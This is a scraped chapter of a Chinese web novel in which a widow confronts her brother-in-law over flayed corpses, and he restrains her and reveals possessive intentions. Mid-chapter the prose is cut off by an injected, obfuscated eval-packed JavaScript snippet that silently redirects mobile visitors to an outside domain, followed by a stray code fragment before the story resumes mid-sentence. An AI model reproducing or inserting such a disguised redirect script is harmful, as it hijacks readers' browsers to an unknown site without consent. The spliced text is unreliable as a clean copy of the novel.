文趣网 > 其他小说 > 怀上亡夫他弟的孩子 > 10. 第 10 章
    小叔子生得高大,即便袁诗恒站直了身子也只能到他的胸口处,如今更是被他压得有些喘不过气。

    不仅是他离得太近了,她心中的警铃大作,而且他不肯让她扭过脸,不让她躲闪,仿佛非逼着她今日将这一切都坦白了才好。

    她的脸是烫的,手也一直在发抖,想要伸手推小叔,可怎么推他都是徒劳。

    他像是压在她身上的一座大山,明明他没有对她做些什么逾矩的事,她却觉得自己像是被他看光了一样,羞愤得叫她恨不得就这样死去。

    她逃不掉躲不开,被他逼问得双眼泛红,急出几滴眼泪来。

    袁诗恒抽抽噎噎,有些自暴自弃地梗着脖子,定定望着他道:“是,是我误会了小叔。小叔生气是应该的,要打要骂都随你,可你能不能……”

    “能不能不要离她这样近”,“能不能不要这样死死地盯着她”,她说不出口。

    她总觉得这些话听起来很奇怪,就像小叔对她别有所图一样。

    小叔饱读诗书,才华横溢,为人端方有礼,应当很清楚男女之间相处的边界,用不着她提醒才是。

    袁诗恒着急得又推了推李珣翊的胸膛,手却被攥紧摁在他的心口。

    掌心下传来一下一下的跳动,像是谁叩击她的手心。

    她被他的动作吓了一跳,半晌才反应过来那是小叔的心跳。

    他握着她的手不放,那双手没有薄茧更无她那些丑陋不堪的冻疮,像凉透的羊脂玉一样不断摩挲她的手背。

    男人失笑着稍稍退开,留给她一些喘息的空间,双眸却还是盯着她打转。

    李珣翊勾着唇朝她摇了摇头,应道:“嫂嫂误会了,我并没有生气。”

    “那你……”

    “我只是想知道,嫂嫂为何觉得那是我做的?”

    袁诗恒的眼神有一瞬的躲闪,下一秒,李珣翊便又再次倾身上前,几乎要吻上了她的唇。

    她害怕地闭上了眼睛,用尽所有力气去推小叔子,依旧纹丝不动。

    那双薄唇停留在她紧抿的唇瓣前,她发觉对方似乎也没有要吻她的意思,只是贴近了看她的眼睛。

    男人勾了勾唇,略带揶揄地笑了一声,有意提醒她接着说下去:“嗯?嫂嫂?”

    事已至此,袁诗恒也看得出来小叔是要打破砂锅问到底了。

    他一向机敏,能轻而易举地看穿她那些小心思。与其叫他拆穿了自己不堪的小谎,倒不如直截了当地和盘托出。

    她长叹一口气,指节微微蜷起,攥起一小块李珣翊胸口的衣裳,破罐子破摔道:“因,因为我今日在城门见到了几具悬挂的人皮,大抵是那几个地痞流氓的。小叔昨夜回来,满身的血腥气,又不肯告诉我去了哪儿,所以……”

    袁诗恒越说越觉得委屈,豆粒大的泪珠哗哗下坠,看得李珣翊眼热,像是自己欺辱了她一样。

    他抬手去替袁诗恒抹去脸颊上的泪痕,可她却侧脸一躲,不愿意让他碰,只好悻悻然将手重新撑在她身后的围栏上。

    另一只手将掌心攥得更紧,几乎要将袁诗恒的指节都揉碎在手心里,这才堪堪止住了心头的悸动。

    “所以,嫂嫂便以为是我剥了他们的皮,抽了他们的筋,还要将他们的皮囊悬挂在城门之上。嫂嫂以为,我就是这样狠毒的人。”见袁诗恒抽抽噎噎,李珣翊自顾自地替她将话补完,说完便又讪讪笑了两声。

    “是,小叔你若是问心无愧,又为何不肯告诉我昨夜去了哪儿?”袁诗恒哭得脸都麻了,手也被李珣翊攥得僵住,整个人一动不动地缩在罗汉床上,索性梗住脖子仰起脑袋和小叔对峙。

    她本不想说的,今日之事是她做错了,是她误会了小叔,人皮一事想必也非小叔所为。

    可她被逼到了墙角,退无可退,是小叔将她逼成了这副模样。

    泪珠滚落到袁诗恒的脖颈,坠入她的衣襟,连衣领都被洇湿。

    李珣翊实在有些过意不去,想着再替她拭泪,却又再次被躲开,索性半蹲下身,用力将她合在了怀里。

    怀中的嫂嫂原本就哭得有些失声,如今被他揽入怀中,挣扎得就更狠了,时不时传出“唔唔”的呜咽声。

    她用手锤他,用短甲掐他的脊背,甚至张大了嘴巴去咬他的胸口,可李珣翊都闷声受下,只沉闷地喘着粗气。

    他由着她将怒气施加在他的身上,由着她将他弄得遍体鳞伤,依旧没有退开半步。

    是他让嫂嫂担惊受怕,是他叫嫂嫂睡得不甚安宁,是他。

    他应得的,他应得的。

    修长的指节一下又一下地从袁诗恒肩后青丝抚过,小叔嗓音低沉得像是在给孩提讲故事。

    他一边替她捋顺发丝,一边在她耳边温声道:“昨夜用过晚膳,我便出门去见徐副将了。徐副将一行人听闻我们次日要启程,就想着为我践行,在酒肆小酌了几杯。回家路上忽闻孩提哭泣,复又上前探看,发觉原是被今日那几具地痞流氓的尸体吓着了。头颅早已不知去了何处。”

    “我同他们一起将这尸首运到了乱葬岗,等到家见到嫂嫂已然睡下,又知嫂嫂胆小,不忍嫂嫂梦魇,这才没告诉嫂嫂。至于那人皮,我当真不知。”

    “倘若嫂嫂依旧不肯信我,我也可将那人名报上来,嫂嫂一问便知。”

    话音刚落,李珣翊发觉怀里的嫂嫂没再挣扎了,只讷讷地将脸埋在他的胸口。

    他稍稍退开,捧起她的脸看她,对上她湿漉漉的眼睛,下一秒便又被她别过脸扭开了。

    袁诗恒错开视线,垂下眼睫眨了眨,脑子里在不断地重复刚才小叔说的话。

    她想了想,自己一路上都是合着眼的,连帷裳都不敢掀开,定是认不清回村子的路,即便告诉她人名也未必再能寻来人对质,复又哆嗦着嗫嚅道:“可,可我们不会再回到那个村子了,我又如何确定小叔所言非虚?”

    男人眉心一挑,似是对她的穷追猛打既惊喜又愠怒。

    李珣翊直起身,长吁一口气,问道:“那嫂嫂说,我又为何要这么做?我缘何非得扒了他们的皮不可?”

    他根本没等袁诗恒的解释,撂下两句便径直走出了厢房。

    李珣翊关门的动作轻缓,步子带着清风,仿佛带走了他在这间厢房存在的所有痕迹,独留袁诗恒一人呆呆地望着房门的方向。

    小叔说的句句在理,又有人证,况且今日的事的确是她误会小叔在先,如今自己穷追猛打,小叔生气也是应该的。

    她想了想,觉得改日她得向小叔赔不是才对。

    -

    次日,两人上了马车继续赶路。

    李珣翊抬手由着袁诗恒搀他的手上矮梯,掀了帷裳进轿厢,自己则是翻身坐在辕门前,双手抱臂倚靠着阖上眼。

    昨夜他辗转难眠,总翻来覆去想着自己就这样走了是不是有些失礼。

    嫂嫂那双杏眼总是饱含泪水,他还在时她已

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963827|214401||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    哭得衣襟湿透,露出她莹白的脖颈;若是他就这样离去,怕是嫂嫂又会独自在厢房里哭许久。

    李珣翊将脑袋枕在手臂上,没能睡着,干脆又横躺下来。

    不躺倒还好,这一躺他才发觉,自己的后背已然被嫂嫂抓得通红,甚至有几条血痕。

    他起身褪掉身上的衣裳,露出光裸的脊背,展臂向后摸了摸那几道抓痕,嘴角不自觉地扬了扬。

    下床点灯走到包袱前,他从包袱里翻出一小瓶金疮药,正欲打开却又怔住,转而又将药放了回去。

    那是嫂嫂在他身上留下的痕迹,要留得久一些,再久一些才好。

    他勾唇摸了摸自己小臂上那细长条的疤痕,是他回战场前袁诗恒不慎用剪子划到的,如今早已结了痂。

    咬了咬牙,他皱紧眉心,抬手将那痂揭下,由着血液再次流淌到他的掌心,心神这才安定一些。

    说来他当真该为这道口子向嫂嫂道谢的。

    若非是嫂嫂非要将他留下,捉着他替他细心擦拭伤口,又用自己的帕子给他包扎,他就不会来迟一步。

    那晚,他从嫂嫂屋里离开,而后便策马赶回战场。

    到了战场,他才知晓敌军突袭了营地,兄长没能按他的计划出兵。

    原本驻扎的营地被敌军偷袭,险些推平,无数弟兄丧生,好在兄长与一众精兵以少敌多,将敌军一举歼灭。

    虽是两败俱伤,可敌军节节败退,大抵也算是我军胜了。

    军中的谋士军师几乎避无可避,在营中就已被斩杀,他是剩余的唯一一个。

    而后他循着将士指引的方向追去,找到了在悬崖边奄奄一息的兄长。

    不知为何,他竟有种劫后余生的痛快。

    是嫂嫂,是嫂嫂救了他的命。

    所以,他也该为嫂嫂做些什么。

    “小叔?”袁诗恒细小的呼唤声传入李珣翊的耳朵,将他从那极近梦魇的欲望中救了出来。

    他扬起嘴角,无视掉一旁车夫诧异的眼神,抬眸回望嫂嫂,温声问道:“何事?”

    袁诗恒扯了扯自己的宽袖,垂下眼低声问道:“你不进来吗?”

    方才她上了马车,等了又等,还以为小叔提着包袱这才慢了一些。

    没想到马车动了,她依旧没能等来小叔,索性起身去寻他。

    撩起面前的帷裳,见他蹙着眉倚靠在辕门上,她立刻反应过来是因为昨日自己怕他,他为了让她安心才委屈自己坐在这儿,心里不由得一阵苦楚。

    是她误会了小叔,是她咄咄逼人,是她有不该有的猜忌。错的人是她,不该让小叔迁就她的。

    袁诗恒见李珣翊似笑非笑地勾着唇,挑着眉望她,像在等她确定是否真要他进轿厢,脸便歘一下红了,颔首示意过后就钻回到轿厢里坐着。

    看到袁诗恒像个还没出阁的小娘子,娇俏得没有半点寡嫂的模样,李珣翊也忍不住低哂。

    他的寡嫂比他年岁稍长,如今的老成也不过是被兄长磋磨成的,说到底也只是比他大三岁罢了。

    所谓“兄去弟及”,他的兄长见过的没见过的嫂嫂,他理所应当要替兄长尝一遍。

    李珣翊正欲起身,却听身侧的车夫冷哼一声,若有所指地讥讽道:“不是夫人?”

    他隔着帷裳,朝着里头隐隐约约能见到的身影瞧了瞧,这才沉声道:“嫂夫人也是夫人。”

    “再者,谁说她不能是我夫人了?”